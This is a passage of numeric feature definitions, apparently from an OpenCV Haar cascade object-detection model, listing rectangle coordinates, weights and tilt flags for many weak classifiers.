<_> + + <_> + 3 10 6 9 -1. + <_> + 5 13 2 3 9. + <_> + + <_> + 0 9 7 3 -1. + <_> + 0 10 7 1 3. + <_> + + <_> + 0 9 16 1 -1. + <_> + 8 9 8 1 2. + <_> + + <_> + 6 1 12 3 -1. + <_> + 5 2 12 1 3. + 1 + <_> + + <_> + 9 9 9 1 -1. + <_> + 12 9 3 1 3. + <_> + + <_> + 12 10 4 10 -1. + <_> + 14 10 2 10 2. + <_> + + <_> + 5 10 4 8 -1. + <_> + 5 10 2 4 2. + <_> + 7 14 2 4 2. + <_> + + <_> + 0 0 16 10 -1. + <_> + 0 0 8 5 2. + <_> + 8 5 8 5 2. + <_> + + <_> + 5 15 2 4 -1. + <_> + 5 15 1 2 2. + <_> + 6 17 1 2 2. + <_> + + <_> + 14 2 6 16 -1. + <_> + 17 2 3 16 2. + <_> + + <_> + 7 5 6 1 -1. + <_> + 9 5 2 1 3. + <_> + + <_> + 18 12 2 2 -1. + <_> + 18 12 1 2 2. + 1 + <_> + + <_> + 16 0 3 18 -1. + <_> + 17 6 1 6 9. + <_> + + <_> + 0 2 20 3 -1. + <_> + 10 2 10 3 2. + <_> + + <_> + 1 19 2 1 -1. + <_> + 2 19 1 1 2. + <_> + + <_> + 8 0 6 3 -1. + <_> + 11 0 3 3 2. + <_> + + <_> + 7 0 8 3 -1. + <_> + 11 0 4 3 2. + <_> + + <_> + 18 9 1 6 -1. + <_> + 18 9 1 3 2. + 1 + <_> + + <_> + 3 9 6 3 -1. + <_> + 5 10 2 1 9. + <_> + + <_> + 15 9 2 6 -1. + <_> + 15 9 1 3 2. + <_> + 16 12 1 3 2. + <_> + + <_> + 12 6 4 1 -1. + <_> + 13 7 2 1 2. + 1 + <_> + + <_> + 1 6 18 14 -1. + <_> + 7 6 6 14 3. + <_> + + <_> + 15 10 4 2 -1. + <_> + 15 10 2 1 2. + <_> + 17 11 2 1 2. + <_> + + <_> + 14 8 6 7 -1. + <_> + 16 8 2 7 3. + <_> + + <_> + 0 10 2 10 -1. + <_> + 1 10 1 10 2. + <_> + + <_> + 18 0 2 12 -1. + <_> + 19 0 1 12 2. + <_> + + <_> + 4 7 10 1 -1. + <_> + 4 7 5 1 2. + 1 + <_> + + <_> + 12 1 6 2 -1. + <_> + 12 2 6 1 2. + <_> + + <_> + 8 8 3 2 -1. + <_> + 8 8 3 1 2. + 1 + <_> + + <_> + 14 10 4 3 -1. + <_> + 13 11 4 1 3. + 1 + <_> + + <_> + 10 7 5 6 -1. + <_> + 10 10 5 3 2. + <_> + + <_> + 11 5 5 8 -1. + <_> + 9 7 5 4 2. + 1 + <_> + + <_> + 16 2 2 3 -1. + <_> + 16 2 1 3 2. + 1 + <_> + + <_> + 4 2 13 9 -1. + <_> + 4 5 13 3 3. + <_> + + <_> + 9 2 6 2 -1. + <_> + 11 2 2 2 3. + <_> + + <_> + 0 0 9 2 -1. + <_> + 0 1 9 1 2. + <_> + + <_> + 11 2 3 12 -1. + <_> + 12 2 1 12 3. + <_> + + <_> + 19 17 1 3 -1. + <_> + 19 18 1 1 3. + <_> + + <_> + 19 18 1 2 -1. + <_> + 19 19 1 1 2. + <_> + + <_> + 13 4 2 4 -1. + <_> + 13 4 1 2 2. + <_> + 14 6 1 2 2. + <_> + + <_> + 14 7 1 4 -1. + <_> + 13 8 1 2 2. + 1 + <_> + + <_> + 1 10 3 1 -1. + <_> + 2 10 1 1 3. + <_> + + <_> + 18 9 1 4 -1. + <_> + 17 10 1 2 2. + 1 + <_> + + <_> + 8 9 6 4 -1. + <_> + 8 9 3 2 2. + <_> + 11 11 3 2 2. + <_> + + <_> + 0 9 15 3 -1. + <_> + 0 10 15 1 3. + <_> + + <_> + 16 6 4 3 -1. + <_> + 15 7 4 1 3. + 1 + <_> + + <_> + 11 8 9 4 -1. + <_> + 11 9 9 2 2. + <_> + + <_> + 16 5 1 6 -1. + <_> + 16 5 1 3 2. + 1 + <_> + + <_> + 7 17 4 3 -1. + <_> + 8 17 2 3 2. + <_> + + <_> + 4 5 1 4 -1. + <_> + 3 6 1 2 2. + 1 + <_> + + <_> + 17 16 3 4 -1. + <_> + 17 17 3 2 2. + <_> + + <_> + 14 17 4 3 -1. + <_> + 14 18 4 1 3. + <_> + + <_> + 6 3 8 3 -1. + <_> + 6 4 8 1 3. + <_> + + <_> + 9 4 1 8 -1. + <_> + 9 6 1 4 2. + <_> + + <_> + 14 0 6 1 -1. + <_> + 17 0 3 1 2. + <_> + + <_> + 15 3 2 1 -1. + <_> + 15 3 1 1 2. + 1 + <_> + + <_> + 16 1 3 4 -1. + <_> + 17 1 1 4 3. + <_> + + <_> + 16 5 2 4 -1. + <_> + 17 5 1 4 2. + <_> + + <_> + 12 7 2 3 -1. + <_> + 12 8 2 1 3. + <_> + + <_> + 17 3 3 7 -1. + <_> + 18 3 1 7 3. + <_> + + <_> + 15 7 5 2 -1. + <_> + 15 8 5 1 2. + <_> + + <_> + 16 7 3 1 -1. + <_> + 17 8 1 1 3. + 1 + <_> + + <_> + 0 10 3 6 -1. + <_> + 1 10 1 6 3. + <_> + + <_> + 8 4 8 13 -1. + <_> + 10 4 4 13 2. + <_> + + <_> + 5 10 2 2 -1. + <_> + 6 10 1 2 2. + <_> + + <_> + 5 10 6 3 -1. + <_> + 7 11 2 1 9. + <_> + + <_> + 5 9 3 2 -1. + <_> + 6 9 1 2 3. + <_> + + <_> + 6 7 9 3 -1. + <_> + 9 8 3 1 9. + <_> + + <_> + 0 6 4 6 -1. + <_> + 1 6 2 6 2. + <_> + + <_> + 10 17 1 3 -1. + <_> + 10 18 1 1 3. + <_> + + <_> + 8 16 4 2 -1. + <_> + 8 17 4 1 2. + <_> + + <_> + 1 18 10 2 -1. + <_> + 1 18 5 1 2. + <_> + 6 19 5 1 2. + <_> + + <_> + 5 0 4 2 -1. + <_> + 6 0 2 2 2. + <_> + + <_> + 8 5 6 3 -1. + <_> + 10 7 2 3 3. + 1 + <_> + + <_> + 6 5 7 9 -1. + <_> + 6 8 7 3 3. + <_> + + <_> + 16 12 2 4 -1. + <_> + 16 14 2 2 2. + <_> + + <_> + 9 7 10 6 -1. + <_> + 9 7 5 3 2. + <_> + 14 10 5 3 2. + <_> + + <_> + 9 5 8 4 -1. + <_> + 8 6 8 2 2. + 1 + <_> + + <_> + 3 14 6 6 -1. + <_> + 3 16 6 2 3. + <_> + + <_> + 5 14 6 6 -1. + <_> + 5 14 3 3 2. + <_> + 8 17 3 3 2. + <_> + + <_> + 2 7 4 6 -1. + <_> + 3 7 2 6 2. + <_> + + <_> + 2 0 3 20 -1. + <_> + 3 0 1 20 3. + <_> + + <_> + 4 7 10 3 -1. + <_> + 4 7 5 3 2. + 1 + <_> + + <_> + 1 10 4 6 -1. + <_> + 1 10 2 3 2. + <_> + 3 13 2 3 2. + <_> + + <_> + 4 9 2 10 -1. + <_> + 4 14 2 5 2. + <_> + + <_> + 4 7 2 2 -1. + <_> + 4 7 1 1 2. + <_> + 5 8 1 1 2. + <_> + + <_> + 0 18 6 2 -1. + <_> + 0 19 6 1 2. + <_> + + <_> + 19 0 1 10 -1. + <_> + 19 0 1 5 2. + 1 + <_> + + <_> + 9 2 2 12 -1. + <_> + 9 5 2 6 2. + <_> + + <_> + 4 14 2 4 -1. + <_> + 3 15 2 2 2. + 1 + <_> + + <_> + 8 17 4 1 -1. + <_> + 9 17 2 1 2. + <_> + + <_> + 1 9 10 4 -1. + <_> + 1 9 5 2 2. + <_> + 6 11 5 2 2. + <_> + + <_> + 5 4 3 1 -1. + <_> + 6 4 1 1 3. + <_> + + <_> + 14 7 2 2 -1. + <_> + 14 7 1 1 2. + <_> + 15 8 1 1 2. + <_> + + <_> + 13 7 3 3 -1. + <_> + 14 8 1 1 9. + <_> + + <_> + 6 2 6 1 -1. + <_> + 9 2 3 1 2. + <_> + + <_> + 8 0 12 7 -1. + <_> + 12 0 4 7 3. + <_> + + <_> + 16 0 4 4 -1. + <_> + 16 0 2 4 2. + 1 + <_> + + <_> + 2 0 16 7 -1. + <_> + 10 0 8 7 2. + <_> + + <_> + 7 1 8 2 -1. + <_> + 9 1 4 2 2. + <_> + + <_> + 4 6 12 1 -1. + <_> + 7 9 6 1 2. + 1 + <_> + + <_> + 3 17 6 3 -1. + <_> + 5 17 2 3 3. + <_> + + <_> + 0 19 12 1 -1. + <_> + 4 19 4 1 3. + <_> + + <_> + 12 14 8 1 -1. + <_> + 14 14 4 1 2. + <_> + + <_> + 4 10 12 6 -1. + <_> + 8 12 4 2 9. + <_> + + <_> + 12 4 8 6 -1. + <_> + 14 4 4 6 2. + <_> + + <_> + 9 2 2 8 -1. + <_> + 9 2 1 8 2. + 1 + <_> + + <_> + 1 18 19 2 -1. + <_> + 1 19 19 1 2. + <_> + + <_> + 9 18 3 2 -1. + <_> + 10 18 1 2 3. + <_> + + <_> + 10 3 8 3 -1. + <_> + 10 3 4 3 2. + 1 + <_> + + <_> + 4 0 9 1 -1. + <_> + 7 0 3 1 3. + <_> + + <_> + 9 2 8 1 -1. + <_> + 13 2 4 1 2. + <_> + + <_> + 7 1 10 2 -1. + <_> + 7 2 10 1 2. + <_> + + <_> + 0 11 3 3 -1. + <_> + 1 12 1 1 9. + <_> + + <_> + 0 10 12 9 -1. + <_> + 4 10 4 9 3. + <_> + + <_> + 4 0 6 3 -1. + <_> + 6 0 2 3 3. + <_> + + <_> + 17 2 3 2 -1. + <_> + 18 2 1 2 3. + <_> + + <_> + 14 10 4 4 -1. + <_> + 14 10 2 4 2. + 1 + <_> + + <_> + 7 10 2 3 -1. + <_> + 6 11 2 1 3. + 1 + <_> + + <_> + 4 5 1 2 -1. + <_> + 4 5 1 1 2. + 1 + <_> + + <_> + 0 0 4 1 -1. + <_> + 2 0 2 1 2. + <_> + + <_> + 1 18 3 2 -1. + <_> + 1 19 3 1 2. + <_> + + <_> + 0 0 4 6 -1. + <_> + 0 2 4 2 3. + <_> + + <_> + 0 10 12 10 -1. + <_> + 0 10 6 5 2. + <_> + 6 15 6 5 2. + <_> + + <_> + 7 15 6 2 -1. + <_> + 7 16 6 1 2. + <_> + + <_> + 14 8 6 3 -1. + <_> + 13 9 6 1 3. + 1 + <_> + + <_> + 6 0 1 2 -1. + <_> + 6 0 1 1 2. + 1 + <_> + + <_> + 17 1 2 2 -1. + <_> + 17 1 1 2 2. + 1 + <_> + + <_> + 15 10 1 2 -1. + <_> + 15 11 1 1 2. + <_> + + <_> + 16 9 3 6 -1. + <_> + 17 10 1 6 3. + 1 + <_> + + <_> + 2 8 16 9 -1. + <_> + 6 8 8 9 2. + <_> + + <_> + 12 1 6 3 -1. + <_> + 14 1 2 3 3. + <_> + + <_> + 9 6 9 4 -1. + <_> + 9 6 9 2 2. + 1 + <_> + + <_> + 3 17 2 2 -1. + <_> + 4 17 1 2 2. + <_> + + <_> + 0 7 2 4 -1. + <_> + 0 8 2 2 2. + <_> + + <_> + 5 10 12 1 -1. + <_> + 9 10 4 1 3. + <_> + + <_> + 15 9 4 4 -1. + <_> + 15 9 2 2 2. + <_> + 17 11 2 2 2. + <_> + + <_> + 4 10 4 1 -1. + <_> + 5 10 2 1 2. + <_> + + <_> + 13 9 3 2 -1. + <_> + 14 9 1 2 3. + <_> + + <_> + 2 12 13 8 -1. + <_> + 2 16 13 4 2. + <_> + + <_> + 16 17 1 3 -1. + <_> + 16 18 1 1 3. + <_> + + <_> + 9 5 3 6 -1. + <_> + 10 7 1 2 9. + <_> + + <_> + 1 9 12 4 -1. + <_> + 1 10 12 2 2. + <_> + + <_> + 12 2 6 17 -1. + <_> + 14 2 2 17 3. + <_> + + <_> + 8 18 8 2 -1. + <_> + 10 18 4 2 2. + <_> + + <_> + 0 18 4 2 -1. + <_> + 2 18 2 2 2. + <_> + + <_> + 10 15 10 4 -1. + <_> + 10 15 5 2 2. + <_> + 15 17 5 2 2. + <_> + + <_> + 15 1 3 14 -1. + <_> + 16 1 1 14 3. + <_> + + <_> + 3 8 6 12 -1. + <_> + 3 14 6 6 2. + <_> + + <_> + 4 8 1 2 -1. + <_> + 4 9 1 1 2. + <_> + + <_> + 3 8 12 6 -1. + <_> + 7 10 4 2 9. + <_> + + <_> + 18 3 2 7 -1. + <_> + 19 3 1 7 2. + <_> + + <_> + 16 5 4 6 -1. + <_> + 14 7 4 2 3. + 1 + <_> + + <_> + 14 9 2 4 -1. + <_> + 13 10 2 2 2. + 1 + <_> + + <_> + 0 1 20 2 -1. + <_> + 10 1 10 2 2. + <_> + + <_> + 0 0 6 5 -1. + <_> + 3 0 3 5 2. + <_> + + <_> + 18 0 2 1 -1. + <_> + 19 0 1 1 2. + <_> + + <_> + 13 9 1 3 -1. + <_> + 12 10 1 1 3. + 1 + <_> + + <_> + 8 12 6 2 -1. + <_> + 10 12 2 2 3. + <_> + + <_> + 2 1 6 6 -1. + <_> + 4 1 2 6 3. + <_> + + <_> + 4 1 6 12 -1. + <_> + 4 4 6 6 2. + <_> + + <_> + 3 3 2 3 -1. + <_> + 2 4 2 1 3. + 1 + <_> + + <_> + 7 9 2 3 -1. + <_> + 6 10 2 1 3. + 1 + <_> + + <_> + 2 4 14 5 -1. + <_> + 9 4 7 5 2. + <_> + + <_> + 10 0 9 4 -1. + <_> + 13 3 3 4 3. + 1 + <_> + + <_> + 0 15 3 3 -1. + <_> + 0 16 3 1 3. + <_> + + <_> + 5 17 2 3 -1. + <_> + 5 18 2 1 3. + <_> + + <_> + 7 12 2 8 -1. + <_> + 7 14 2 4 2. + <_> + + <_> + 3 18 5 2 -1. + <_> + 3 19 5 1 2. + <_> + + <_> + 18 10 1 2 -1. + <_> + 18 10 1 1 2. + 1 + <_> + + <_> + 0 0 1 18 -1. + <_> + 0 9 1 9 2. + <_> + + <_> + 8 1 4 2 -1. + <_> + 8 2 4 1 2. + <_> + + <_> + 10 8 5 4 -1. + <_> + 10 8 5 2 2. + 1 + <_> + + <_> + 5 11 6 1 -1. + <_> + 7 11 2 1 3. + <_> + + <_> + 14 8 4 12 -1. + <_> + 14 12 4 4 3. + <_> + + <_> + 1 6 2 4 -1. + <_> + 1 8 2 2 2. + <_> + + <_> + 13 14 6 3 -1. + <_> + 15 15 2 1 9. + <_> + + <_> + 10 12 4 8 -1. + <_> + 10 16 4 4 2. + <_> + + <_> + 5 11 2 2 -1. + <_> + 6 11 1 2 2. + <_> + + <_> + 7 14 8 2 -1. + <_> + 7 15 8 1 2. + <_> + + <_> + 17 6 2 2 -1. + <_> + 17 6 1 2 2. + 1 + <_> + + <_> + 5 1 3 2 -1. + <_> + 5 1 3 1 2. + 1 + <_> + + <_> + 0 16 2 3 -1. + <_> + 0 17 2 1 3. + <_> + + <_> + 7 0 5 3 -1. + <_> + 7 1 5 1 3. + <_> + + <_> + 0 0 16 2 -1. + <_> + 0 1 16 1 2. + <_> + + <_> + 5 8 4 2 -1. + <_> + 5 8 2 1 2. + <_> + 7 9 2 1 2. + <_> + + <_> + 14 5 6 2 -1. + <_> + 14 5 3 1 2. + <_> + 17 6 3 1 2. + <_> + + <_> + 2 1 2 4 -1. + <_> + 3 1 1 4 2. + <_> + + <_> + 2 7 1 2 -1. + <_> + 2 8 1 1 2. + <_> + + <_> + 0 0 2 4 -1. + <_> + 0 0 1 2 2. + <_> + 1 2 1 2 2. + <_> + + <_> + 8 0 8 10 -1. + <_> + 8 0 4 5 2. + <_> + 12 5 4 5 2. + <_> + + <_> + 3 3 2 8 -1. + <_> + 3 5 2 4 2. + <_> + + <_> + 7 9 9 2 -1. + <_> + 10 9 3 2 3. + <_> + + <_> + 6 3 2 3 -1. + <_> + 6 3 1 3 2. + 1 + <_> + + <_> + 11 13 2 2 -1. + <_> + 11 14 2 1 2. + <_> + + <_> + 16 2 4 5 -1. + <_> + 17 2 2 5 2. + <_> + + <_> + 7 10 12 6 -1. + <_> + 11 12 4 2 9. + <_> + + <_> + 14 6 2 7 -1. + <_> + 15 6 1 7 2. + <_> + + <_> + 18 16 1 3 -1. + <_> + 18 17 1 1 3. + <_> + + <_> + 18 9 2 2 -1. + <_> + 18 9 1 1 2. + <_> + 19 10 1 1 2. + <_> + + <_> + 16 7 4 4 -1. + <_> + 16 7 2 2 2. + <_> + 18 9 2 2 2. + <_> + + <_> + 14 10 6 6 -1. + <_> + 14 10 3 3 2. + <_> + 17 13 3 3 2. + <_> + + <_> + 8 16 2 4 -1. + <_> + 8 17 2 2 2. + <_> + + <_> + 18 11 2 8 -1. + <_> + 18 11 1 4 2. + <_> + 19 15 1 4 2. + <_> + + <_> + 7 4 6 12 -1. + <_> + 7 8 6 4 3. + <_> + + <_> + 0 7 20 9 -1. + <_> + 5 7 10 9 2. + <_> + + <_> + 12 7 3 4 -1. + <_> + 13 7 1 4 3. + <_> + + <_> + 6 3 3 4 -1. + <_> + 5 4 3 2 2. + 1 + <_> + + <_> + 14 3 3 12 -1. + <_> + 14 3 3 6 2. + 1 + <_> + + <_> + 11 5 8 6 -1. + <_> + 11 7 8 2 3. + <_> + + <_> + 17 7 3 5 -1. + <_> + 18 8 1 5 3. + 1 + <_> + + <_> + 3 11 6 6 -1. + <_> + 5 13 2 2 9. + <_> + + <_> + 15 6 4 5 -1. + <_> + 15 6 2 5 2. + 1 + <_> + + <_> + 8 9 3 3 -1. + <_> + 7 10 3 1 3. + 1 + <_> + + <_> + 6 7 9 2 -1. + <_> + 9 10 3 2 3. + 1 + <_> + + <_> + 7 8 2 12 -1. + <_> + 7 8 1 6 2. + <_> + 8 14 1 6 2. + <_> + + <_> + 5 17 3 2 -1. + <_> + 6 17 1 2 3. + <_> + + <_> + 4 5 3 4 -1. + <_> + 5 6 1 4 3. + 1 + <_> + + <_> + 11 1 6 10 -1. + <_> + 11 1 6 5 2. + 1 + <_> + + <_> + 2 6 6 1 -1. + <_> + 2 6 3 1 2. + 1 + <_> + + <_> + 16 6 1 6 -1. + <_> + 14 8 1 2 3. + 1 + <_> + + <_> + 14 6 1 3 -1. + <_> + 13 7 1 1 3. + 1 + <_> + + <_> + 0 6 18 3 -1. + <_> + 6 7 6 1 9. + <_> + + <_> + 14 7 6 3 -1. + <_> + 14 7 3 3 2. + 1 + <_> + + <_> + 7 12 4 3 -1. + <_> + 7 12 2 3 2. + 1 + <_> + + <_> + 18 8 2 8 -1. + <_> + 18 8 1 4 2. + <_> + 19 12 1 4 2. + <_> + + <_> + 15 1 4 2 -1. + <_> + 16 2 2 2 2. + 1 + <_> + + <_> + 14 0 2 10 -1. + <_> + 14 0 1 5 2. + <_> + 15 5 1 5 2. + <_> + + <_> + 10 1 2 6 -1. + <_> + 10 1 1 3 2. + <_> + 11 4 1 3 2. + <_> + + <_> + 16 2 2 3 -1. + <_> + 17 2 1 3 2. + <_> + + <_> + 12 2 4 1 -1. + <_> + 14 2 2 1 2. + <_> + + <_> + 0 1 4 2 -1. + <_> + 0 2 4 1 2. + <_> + + <_> + 12 11 3 4 -1. + <_> + 13 12 1 4 3. + 1 + <_> + + <_> + 8 12 8 7 -1. + <_> + 10 12 4 7 2. + <_> + + <_> + 2 5 6 8 -1. + <_> + 4 5 2 8 3. + <_> + + <_> + 18 17 2 2 -1. + <_> + 18 17 1 1 2. + <_> + 19 18 1 1 2. + <_> + + <_> + 5 14 1 2 -1. + <_> + 5 15 1 1 2. + <_> + + <_> + 1 10 6 1 -1. + <_> + 3 10 2 1 3. + <_> + + <_> + 6 6 6 12 -1. + <_> + 9 6 3 12 2. + <_> + + <_> + 18 2 2 12 -1. + <_> + 18 2 1 6 2. + <_> + 19 8 1 6 2. + <_> + + <_> + 2 16 9 3 -1. + <_> + 2 17 9 1 3. + <_> + + <_> + 10 9 10 9 -1. + <_> + 10 12 10 3 3. + <_> + + <_> + 13 14 3 4 -1. + <_> + 13 15 3 2 2. + <_> + + <_> + 8 9 1 3 -1. + <_> + 8 10 1 1 3. + <_> + + <_> + 2 16 5 3 -1. + <_> + 2 17 5 1 3. + <_> + + <_> + 11 19 6 1 -1. + <_> + 13 19 2 1 3. + <_> + + <_> + 9 1 6 15 -1. + <_> + 11 6 2 5 9. + <_> + + <_> + 15 10 2 8 -1. + <_> + 15 10 1 4 2. + <_> + 16 14 1 4 2. + <_> + + <_> + 0 7 6 12 -1. + <_> + 2 11 2 4 9. + <_> + + <_> + 11 2 9 4 -1. + <_> + 11 2 9 2 2. + 1 + <_> + + <_> + 5 9 2 3 -1. + <_> + 5 9 1 3 2. + 1 + <_> + + <_> + 14 8 3 4 -1. + <_> + 15 8 1 4 3. + <_> + + <_> + 2 13 18 4 -1. + <_> + 11 13 9 4 2. + <_> + + <_> + 0 0 20 14 -1. + <_> + 10 0 10 14 2. + <_> + + <_> + 0 9 6 11 -1. + <_> + 2 9 2 11 3. + <_> + + <_> + 2 0 3 17 -1. + <_> + 3 0 1 17 3. + <_> + + <_> + 1 0 18 7 -1. + <_> + 7 0 6 7 3. + <_> + + <_> + 7 3 4 6 -1. + <_> + 9 3 2 6 2. + <_> + + <_> + 6 0 14 20 -1. + <_> + 6 0 7 10 2. + <_> + 13 10 7 10 2. + <_> + + <_> + 18 6 2 2 -1. + <_> + 18 6 1 1 2. + <_> + 19 7 1 1 2. + <_> + + <_> + 13 9 4 3 -1. + <_> + 14 10 2 3 2. + 1 + <_> + + <_> + 10 11 2 6 -1. + <_> + 8 13 2 2 3. + 1 + <_> + + <_> + 18 15 2 1 -1. + <_> + 18 15 1 1 2. + 1 + <_> + + <_> + 8 16 4 2 -1. + <_> + 9 16 2 2 2. + <_> + + <_> + 6 17 4 1 -1. + <_> + 7 17 2 1 2. + <_> + + <_> + 7 0 12 5 -1. + <_> + 10 0 6 5 2. + <_> + + <_> + 6 4 9 3 -1. + <_> + 6 5 9 1 3. + <_> + + <_> + 15 0 4 2 -1. + <_> + 15 1 4 1 2. + <_> + + <_> + 6 0 9 20 -1. + <_> + 6 5 9 10 2. + <_> + + <_> + 0 7 11 12 -1. + <_> + 0 13 11 6 2. + <_> + + <_> + 1 8 10 1 -1. + <_> + 1 8 5 1 2. + 1 + <_> + + <_> + 12 1 2 10 -1. + <_> + 12 6 2 5 2. + <_> + + <_> + 18 5 1 6 -1. + <_> + 18 8 1 3 2. + <_> + + <_> + 5 10 12 1 -1. + <_> + 9 10 4 1 3. + <_> + + <_> + 11 12 9 4 -1. + <_> + 14 12 3 4 3. + <_> + + <_> + 12 8 7 4 -1. + <_> + 11 9 7 2 2. + 1 + <_> + + <_> + 4 9 2 6 -1. + <_> + 4 9 1 3 2. + <_> + 5 12 1 3 2. + <_> + + <_> + 15 8 2 8 -1. + <_> + 15 8 1 4 2. + <_> + 16 12 1 4 2. + <_> + + <_> + 1 16 9 2 -1. + <_> + 1 17 9 1 2. + <_> + + <_> + 5 2 14 12 -1. + <_> + 5 5 14 6 2. + <_> + + <_> + 2 10 2 10 -1. + <_> + 2 15 2 5 2. + <_> + + <_> + 1 0 12 5 -1. + <_> + 5 0 4 5 3. + <_> + + <_> + 16 17 1 2 -1. + <_> + 16 17 1 1 2. + 1 + <_> + + <_> + 12 1 8 2 -1. + <_> + 12 1 4 1 2. + <_> + 16 2 4 1 2. + <_> + + <_> + 3 5 8 6 -1. + <_> + 5 5 4 6 2. + <_> + + <_> + 5 1 4 4 -1. + <_> + 4 2 4 2 2. + 1 + <_> + + <_> + 6 3 1 14 -1. + <_> + 6 10 1 7 2. + <_> + + <_> + 15 10 2 10 -1. + <_> + 15 10 1 5 2. + <_> + 16 15 1 5 2. + <_> + + <_> + 10 2 9 4 -1. + <_> + 13 2 3 4 3. + <_> + + <_> + 15 6 1 9 -1. + <_> + 15 9 1 3 3. + <_> + + <_> + 3 2 6 2 -1. + <_> + 5 2 2 2 3. + <_> + + <_> + 15 5 4 2 -1. + <_> + 15 5 2 1 2. + <_> + 17 6 2 1 2. + <_> + + <_> + 8 2 6 4 -1. + <_> + 8 3 6 2 2. + <_> + + <_> + 17 18 1 2 -1. + <_> + 17 19 1 1 2. + <_> + + <_> + 1 13 6 3 -1. + <_> + 3 14 2 1 9. + <_> + + <_> + 2 16 14 2 -1. + <_> + 2 16 7 1 2. + <_> + 9 17 7 1 2. + <_> + + <_> + 4 0 2 3 -1. + <_> + 5 0 1 3 2. + <_> + + <_> + 8 6 3 1 -1. + <_> + 9 7 1 1 3. + 1 + <_> + + <_> + 11 6 2 3 -1. + <_> + 10 7 2 1 3. + 1 + <_> + + <_> + 4 11 10 2 -1. + <_> + 4 12 10 1 2. + <_> + + <_> + 0 8 15 6 -1. + <_> + 0 10 15 2 3. + <_> + + <_> + 3 18 8 1 -1. + <_> + 5 18 4 1 2. + <_> + + <_> + 14 2 3 2 -1. + <_> + 15 3 1 2 3. + 1 + <_> + + <_> + 17 1 3 4 -1. + <_> + 18 1 1 4 3. + <_> + + <_> + 8 17 4 2 -1. + <_> + 10 17 2 2 2. + <_> + + <_> + 12 8 2 3 -1. + <_> + 11 9 2 1 3. + 1 + <_> + + <_> + 5 7 4 2 -1. + <_> + 5 7 2 1 2. + <_> + 7 8 2 1 2. + <_> + + <_> + 3 12 6 5 -1. + <_> + 6 12 3 5 2. + <_> + + <_> + 7 7 10 6 -1. + <_> + 7 9 10 2 3. + <_> + + <_> + 4 3 9 16 -1. + <_> + 7 3 3 16 3. + <_> + + <_> + 5 10 6 8 -1. + <_> + 5 12 6 4 2. + <_> + + <_> + 17 7 2 3 -1. + <_> + 17 7 1 3 2. + 1 + <_> + + <_> + 16 0 1 12 -1. + <_> + 16 6 1 6 2. + <_> + + <_> + 13 4 5 2 -1. + <_> + 13 5 5 1 2. + <_> + + <_> + 17 4 3 3 -1. + <_> + 17 5 3 1 3. + <_> + + <_> + 10 1 9 6 -1. + <_> + 13 1 3 6 3. + <_> + + <_> + 7 7 13 4 -1. + <_> + 7 8 13 2 2. + <_> + + <_> + 13 11 6 2 -1. + <_> + 13 11 3 1 2. + <_> + 16 12 3 1 2. + <_> + + <_> + 10 2 5 3 -1. + <_> + 10 3 5 1 3. + <_> + + <_> + 1 8 4 2 -1. + <_> + 1 8 2 1 2. + <_> + 3 9 2 1 2. + <_> + + <_> + 19 8 1 4 -1. + <_> + 19 9 1 2 2. + <_> + + <_> + 4 9 3 2 -1. + <_> + 5 10 1 2 3. + 1 + <_> + + <_> + 4 4 15 9 -1. + <_> + 9 7 5 3 9. + <_> + + <_> + 8 0 9 11 -1. + <_> + 11 0 3 11 3. + <_> + + <_> + 15 16 2 2 -1. + <_> + 15 16 1 1 2. + <_> + 16 17 1 1 2. + <_> + + <_> + 16 16 1 3 -1. + <_> + 16 17 1 1 3. + <_> + + <_> + 14 16 3 3 -1. + <_> + 14 17 3 1 3. + <_> + + <_> + 12 12 4 6 -1. + <_> + 13 12 2 6 2. + <_> + + <_> + 10 10 1 6 -1. + <_> + 8 12 1 2 3. + 1 + <_> + + <_> + 8 19 12 1 -1. + <_> + 11 19 6 1 2. + <_> + + <_> + 14 16 2 2 -1. + <_> + 14 16 1 1 2. + <_> + 15 17 1 1 2. + <_> + + <_> + 4 8 1 4 -1. + <_> + 3 9 1 2 2. + 1 + <_> + + <_> + 6 9 4 2 -1. + <_> + 6 9 2 1 2. + <_> + 8 10 2 1 2. + <_> + + <_> + 2 2 6 1 -1. + <_> + 2 2 3 1 2. + 1 + <_> + + <_> + 12 8 3 1 -1. + <_> + 13 8 1 1 3. + <_> + + <_> + 13 3 2 6 -1. + <_> + 13 3 1 3 2. + <_> + 14 6 1 3 2. + <_> + + <_> + 7 9 3 5 -1. + <_> + 8 9 1 5 3. + <_> + + <_> + 6 1 2 17 -1. + <_> + 7 1 1 17 2. + <_> + + <_> + 15 1 4 11 -1. + <_> + 17 1 2 11 2. + <_> + + <_> + 12 9 2 1 -1. + <_> + 13 9 1 1 2. + <_> + + <_> + 14 6 3 3 -1. + <_> + 15 6 1 3 3. + <_> + + <_> + 1 6 2 4 -1. + <_> + 1 6 1 2 2. + <_> + 2 8 1 2 2. + <_> + + <_> + 3 7 2 12 -1. + <_> + 3 7 1 6 2. + <_> + 4 13 1 6 2. + <_> + + <_> + 2 18 2 2 -1. + <_> + 2 18 1 1 2. + <_> + 3 19 1 1 2. + <_> + + <_> + 8 9 4 7 -1. + <_> + 8 9 2 7 2. + 1 + <_> + + <_> + 19 5 1 4 -1. + <_> + 19 7 1 2 2. + <_> + + <_> + 5 18 3 2 -1. + <_> + 5 19 3 1 2. + <_> + + <_> + 8 14 8 5 -1. + <_> + 10 14 4 5 2. + <_> + + <_> + 0 16 8 3 -1. + <_> + 4 16 4 3 2. + <_> + + <_> + 2 4 1 4 -1. + <_> + 2 5 1 2 2. + <_> + + <_> + 0 17 1 3 -1. + <_> + 0 18 1 1 3. + <_> + + <_> + 7 17 8 3 -1. + <_> + 9 17 4 3 2. + <_> + + <_> + 7 19 8 1 -1. + <_> + 9 19 4 1 2. + <_> + + <_> + 0 0 6 6 -1. + <_> + 0 0 3 3 2. + <_> + 3 3 3 3 2. + <_> + + <_> + 9 5 2 2 -1. + <_> + 9 5 1 1 2. + <_> + 10 6 1 1 2. + <_> + + <_> + 8 17 1 3 -1. + <_> + 8 18 1 1 3. + <_> + + <_> + 8 18 12 2 -1. + <_> + 8 18 6 1 2. + <_> + 14 19 6 1 2. + <_> + + <_> + 9 8 4 1 -1. + <_> + 10 9 2 1 2. + 1 + <_> + + <_> + 8 18 3 2 -1. + <_> + 8 19 3 1 2. + <_> + + <_> + 0 2 2 18 -1. + <_> + 1 2 1 18 2. + <_> + + <_> + 0 19 12 1 -1. + <_> + 3 19 6 1 2. + <_> + + <_> + 3 12 6 1 -1. + <_> + 3 12 3 1 2. + 1 + <_> + + <_> + 6 11 14 5 -1. + <_> + 13 11 7 5 2. + <_> + + <_> + 13 4 6 10 -1. + <_> + 15 4 2 10 3. 